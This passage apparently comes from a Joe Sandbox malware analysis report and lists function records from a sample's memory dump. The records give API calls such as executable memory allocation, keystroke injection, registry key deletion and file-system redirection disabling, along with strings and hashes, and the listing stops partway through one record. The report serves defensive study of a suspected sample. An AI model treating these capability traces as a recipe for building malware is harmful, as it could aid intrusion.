LoadLibraryA.KERNEL32(kernel32.dll,?,00EC4BD0,?,00EC4DEF,?,00F852F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00EC4C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00EC4C23

Strings

kernel32.dll, xrefs: 00EC4C0C
Wow64DisableWow64FsRedirection, xrefs: 00EC4C1D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: adf31762fc5ddddd7ab2b15adc5851f8b2594c24fefd76a5428b42f18caf00af
Instruction ID: 8636f544932632f8bcfb8c0c2a831f36491d3387fc2f22712a71ed24fea87b54
Opcode Fuzzy Hash: adf31762fc5ddddd7ab2b15adc5851f8b2594c24fefd76a5428b42f18caf00af
Instruction Fuzzy Hash: EBD0C2B0900713CFD7205F70CA08A07BAD5EF4A349B00CC3E9889D21A0E6B0C480D711

Function 00F40DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00F41039), ref: 00F40DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00F40E07

Strings

RegDeleteKeyExW, xrefs: 00F40E01
advapi32.dll, xrefs: 00F40DF0

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 7348862616a8f8f44356c315a766b62dcbb001a3a43deea639badcbd59e57e2c
Instruction ID: 515d598ef7bc6eef3d2f65d92ae08c4ba8baa9357dbcc3cb1fc8e87e90d193b7
Opcode Fuzzy Hash: 7348862616a8f8f44356c315a766b62dcbb001a3a43deea639badcbd59e57e2c
Instruction Fuzzy Hash: D6D0C770800336CFC3208F70C808A827AE4AF11362F04CC3E998AC6150EAB0D8A0EA02

Function 00F390E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00F38CF4,?,00F4F910), ref: 00F390EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00F39100

Strings

kernel32.dll, xrefs: 00F390E9
GetModuleHandleExW, xrefs: 00F390FA

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 4ab49000aa3da0094f6a6665e419647552958067ec496340902f16d183985dcb
Instruction ID: e24a90527d01302e33d87bece3cd5f449beae8dfacebfa1738843dc604cdf940
Opcode Fuzzy Hash: 4ab49000aa3da0094f6a6665e419647552958067ec496340902f16d183985dcb
Instruction Fuzzy Hash: 06D01274954713CFD7209F31D81C54676D4AF563A5F11C83AD88AD6650E6B0C884E691

Function 00F01714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00F01718
__swprintf.LIBCMT ref: 00F01749

Strings

WIN_XPe, xrefs: 00F01788
%.3d, xrefs: 00F01723

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: e644c9116ce673b822ae063f9a166bdc90e42f7a56d934fd7185ec28f322a27f
Instruction ID: c9f9382e6b3d024a94d200ef2c4bbbe46defaf7e0cc5b72bbd3ce1cd1406e016
Opcode Fuzzy Hash: e644c9116ce673b822ae063f9a166bdc90e42f7a56d934fd7185ec28f322a27f
Instruction Fuzzy Hash: D9D0127284410DEBC7109B909988EF9777CB719311F541462F806A2080E261C759F622

Function 00F1717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cf1a30d806392e6285aa09b52fb6e698dcc38b0fe9b024aee5e68004ed466a5
Instruction ID: 91c932cb83ca3bcd986e9b1a3ae4cf3bf22b30669890843ec56614e6eabfb9e2
Opcode Fuzzy Hash: 1cf1a30d806392e6285aa09b52fb6e698dcc38b0fe9b024aee5e68004ed466a5
Instruction Fuzzy Hash: C7C16C75A04216EFCB14DFA4C884EAEBBB5FF48714B148599F809EB251D730ED81EB90

Function 00F3E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00F3E0BE
CharLowerBuffW.USER32(?,?), ref: 00F3E101

Part of subcall function 00F3D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00F3D7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00F3E301
_memmove.LIBCMT ref: 00F3E314

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: be6a378052bf566f35b2398590a8f5c2182a53ff52a3f1e3e998e4345b852bde
Instruction ID: 55cd3282d2003f35f2f0278932849f17992305cf4ee94d44bce8258fbd24eff1
Opcode Fuzzy Hash: be6a378052bf566f35b2398590a8f5c2182a53ff52a3f1e3e998e4345b852bde
Instruction Fuzzy Hash: 43C13971A08341DFC714DF28C480A6ABBE4FF89724F14896DF8999B391D771E946CB82

Function 00F38093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00F380C3
CoUninitialize.OLE32 ref: 00F380CE

Part of subcall function 00F1D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00F1D5D4

VariantInit.OLEAUT32(?), ref: 00F380D9
VariantClear.OLEAUT32(?), ref: 00F383AA

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 407907892e11835bef853632e2a6add884c0a30800b6d6e6f5e7189a601f8dd2
Instruction ID: c16c4d849610ba690bc72994d00310a2589148f4e97dc29c64b2fc899d133358
Opcode Fuzzy Hash: 407907892e11835bef853632e2a6add884c0a30800b6d6e6f5e7189a601f8dd2
Instruction Fuzzy Hash: CBA147766047019FCB04DF24C985B2AB7E4BF89764F14444CF99AAB3A2CB35ED06DB42

Function 00F17530 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00F52C7C,?), ref: 00F176EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00F52C7C,?), ref: 00F17702
CLSIDFromProgID.OLE32(?,?,00000000,00F4FB80,000000FF,?,00000000,00000800,00000000,?,00F52C7C,?), ref: 00F17727
_memcmp.LIBCMT ref: 00F17748

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 8f94051e2e88270bf322c9184b3b94fe8eac105196bf6332a08712a8c1a98bd7
Instruction ID: c5130c89505b6476f5364ad68227ceb9032d6d09a7d83b58927a4318e69510b4
Opcode Fuzzy Hash: 8f94051e2e88270bf322c9184b3b94fe8eac105196bf6332a08712a8c1a98bd7
Instruction Fuzzy Hash: FC812F75A00209EFCB04DFA4C984EEEB7B9FF89315F204558F509AB250DB71AE46DB60

Function 00F1687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F1688E
SysAllocString.OLEAUT32(00000000), ref: 00F16937
VariantCopy.OLEAUT32 ref: 00F16966
VariantClear.OLEAUT32(?), ref: 00F1698D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 381ee28430328a0db5daf1485f0f8465a5357bc6e5095dae05a87a08a6cf16a5
Instruction ID: 861445f675ee50362626ad647cf67f93ba34b8a3a307d67b3019d24d6f52f081
Opcode Fuzzy Hash: 381ee28430328a0db5daf1485f0f8465a5357bc6e5095dae05a87a08a6cf16a5
Instruction Fuzzy Hash: FC51E7757003029BDB24EF65D895BBAB7E5AF45310F20D81FE586EB291DB78D8C1AB00

Function 00F497F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(0144E510,?), ref: 00F49863
ScreenToClient.USER32(00000002,00000002), ref: 00F49896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00F49903

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: d5baf9b8228d6ab3d455f25dc4c6f1c2c298bb86205b892c78f576b451106c30
Instruction ID: b66f188960989ccd553e9409c7af240c207099527de2d53eaa1786c450c3ce70
Opcode Fuzzy Hash: d5baf9b8228d6ab3d455f25dc4c6f1c2c298bb86205b892c78f576b451106c30
Instruction Fuzzy Hash: C0514C34A04209EFCF14CF68C880AAE7BB5FF56360F548169FC659B2A0D771AD41EB90

Function 00F19A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00F19AD2
__itow.LIBCMT ref: 00F19B03

Part of subcall function 00F19D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00F19DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00F19B6C
__itow.LIBCMT ref: 00F19BC3

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: b50f4a8e35e14795027150428787c8c200e4fab8caaac1a1d664c66091d4b114
Instruction ID: cd3b1abcdd8614a04f07b375b4f911c909f8c79028619422a40d07eef5f44d30
Opcode Fuzzy Hash: b50f4a8e35e14795027150428787c8c200e4fab8caaac1a1d664c66091d4b114
Instruction Fuzzy Hash: 3F41C270A08209ABDF11EF10D855FEE7BF9EF88720F000069F945A3291DBB19E85DB91

Function 00F369AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00F369D1
WSAGetLastError.WSOCK32(00000000), ref: 00F369E1

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00F36A45
WSAGetLastError.WSOCK32(00000000), ref: 00F36A51

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: c8b0bf5fc838f2a3587b98c231f545d4527dcdd8ace56eaf3a8521a7a8269fa9
Instruction ID: 7f17fdd9ad325d07b0e5d3cce86723b1e062edae3fff007d8425178ba6aa8741
Opcode Fuzzy Hash: c8b0bf5fc838f2a3587b98c231f545d4527dcdd8ace56eaf3a8521a7a8269fa9
Instruction Fuzzy Hash: 9E41C235740200AFEB20AF24CE8AF2A77E8AB44B14F04C01CFA19AF3C3DA759D019791

Function 00F3641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00F4F910), ref: 00F364A7
_strlen.LIBCMT ref: 00F364D9

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 4e0dc8d42348b6f9914f7c64bc274756fdcdfec8afc4eacfe448d83f24c911ed
Instruction ID: d41a9e2c49b75865f065d5a5b3c15f9e2fc21bef11bf5359fb5f1f2692d5592c
Opcode Fuzzy Hash: 4e0dc8d42348b6f9914f7c64bc274756fdcdfec8afc4eacfe448d83f24c911ed
Instruction Fuzzy Hash: 1341C636900108BFCB14EBA4DD85FAEB7F9AF44320F148169F91AE7292DB30AD45D750

Function 00F2B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00F2B89E
GetLastError.KERNEL32(?,00000000), ref: 00F2B8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00F2B8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00F2B915

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 244682a7e9f939d7b59b643cb8215faf4b45963a8034874fa0b2a0d7f7f76e86
Instruction ID: a1a8bf074867b9359b16ca3a28e8892efada87cf32b9a68a89bd5e9c3ed01d3c
Opcode Fuzzy Hash: 244682a7e9f939d7b59b643cb8215faf4b45963a8034874fa0b2a0d7f7f76e86
Instruction Fuzzy Hash: B0411C3AA00514DFCB15DF15C544E59BBE1BF4A720F058098EC4AAB362CB35FD42DB91

Function 00F48851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00F488DE

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: af889a05f65c839be5b6007fbd977cb26a386c95b1b1e88d36ff1f1ddddff98d
Instruction ID: abe846093122119ceb4794636786b1b1be0ce11ef27b84ffcca7658ca8eea1dc
Opcode Fuzzy Hash: af889a05f65c839be5b6007fbd977cb26a386c95b1b1e88d36ff1f1ddddff98d
Instruction Fuzzy Hash: D6310434A40508BFEF209B28CC45FBC3FA0EB067A0F544412FE15E62A1CE30D982B752

Function 00F4AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00F4AB60
GetWindowRect.USER32(?,?), ref: 00F4ABD6
PtInRect.USER32(?,?,00F4C014), ref: 00F4ABE6
MessageBeep.USER32(00000000), ref: 00F4AC57

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: a48fa0554349ed0d89d3dc1aea1b98156696e45624a78e71b9bec94b3bbdb178
Instruction ID: 73df531c618adc8028d30d442f3816c02883d28ed87fe4ea780264d0cc809cf9
Opcode Fuzzy Hash: a48fa0554349ed0d89d3dc1aea1b98156696e45624a78e71b9bec94b3bbdb178
Instruction Fuzzy Hash: C5418835A402189FDB11CF58C8C4BA97BF5FB49710F1884A9EE189F364D730E841EB92

Function 00F20AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00F20B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 00F20B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00F20BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00F20BFB

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 3644f87deb0dd10535aa49fea9cafaa65e29ac808cfe9ba9ca68cf994e45f2b6
Instruction ID: 02c9106ec958f270ebffcdfa917d530ba74bcb07fdddbf7792db022413e109c0
Opcode Fuzzy Hash: 3644f87deb0dd10535aa49fea9cafaa65e29ac808cfe9ba9ca68cf994e45f2b6
Instruction Fuzzy Hash: EE314B72D4022CAEFF308B25AC05BFABBA5BB85334F08435AF895D11D2CB748985B755

Function 00F20C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,76C1C0D0,?,00008000), ref: 00F20C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 00F20C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 00F20CE1
SendInput.USER32(00000001,?,0000001C,76C1C0D0,?,00008000), ref: 00F20D33

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 39f4bf523deb4fcffe84e493e6ce7ea4549d4917c32d3f85f08b7a0fe65e0b5f
Instruction ID: 94665e99deafe1c6d884b373a55dc9a009abb45b33b19a79f527db9f758b7f56
Opcode Fuzzy Hash: 39f4bf523deb4fcffe84e493e6ce7ea4549d4917c32d3f85f08b7a0fe65e0b5f
